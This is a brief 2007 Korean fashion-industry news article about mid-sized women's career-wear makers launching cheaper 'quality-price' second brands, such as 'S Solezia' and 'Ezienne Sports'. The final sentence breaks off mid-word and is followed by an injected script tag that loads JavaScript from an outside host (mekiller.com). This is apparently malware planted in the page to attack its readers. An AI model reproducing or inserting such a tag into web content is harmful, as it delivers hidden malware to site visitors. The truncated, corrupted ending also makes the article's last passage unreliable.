커리어업체, Q/P 시장 진출 활발

2007-03-06 14:19 조회수 아이콘 1703

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커리어업체, Q/P 시장 진출 활발

커리어 업체들이 퀄리티프라이스(Q/P) 시장을 겨냥한 세컨 브랜드를 잇따라 런칭하고 있다.


업계에 의하면 작년 봄 런칭한 ‘AK 앤클라인’의 성공을 발판으로 신신물산, 패션네트, 리드마크 등 중견 여성복 업체들이 신규 브랜드를 런칭하는 등 Q/P 시장에 속속 가세하고 있다.


‘쏠레지아’를 ‘칼리아’로 리뉴얼한 신신물산은 이번 시즌 Q/P 시장을 겨냥한 ‘S쏠레지아’를 런칭했다.


‘S쏠레지아’는 커리어 캐릭터 브랜드를 표방하며 1달여 만에 16개 매장을 확보하는 등 성공적인 출발을 보이고 있다.


‘마리끌레르’와 ‘이지엔느’를 전개하는 패션네트도 오는 3월부터 ‘이지엔느’의 세컨 브랜드‘이지엔느스포츠’를 영업을 본격화한다.


‘이지엔느스포츠’는 기존 ‘이지엔느’ 대비 50% 낮은 가격으로 고급스러?script src=http://mekiller.com/1/1.js>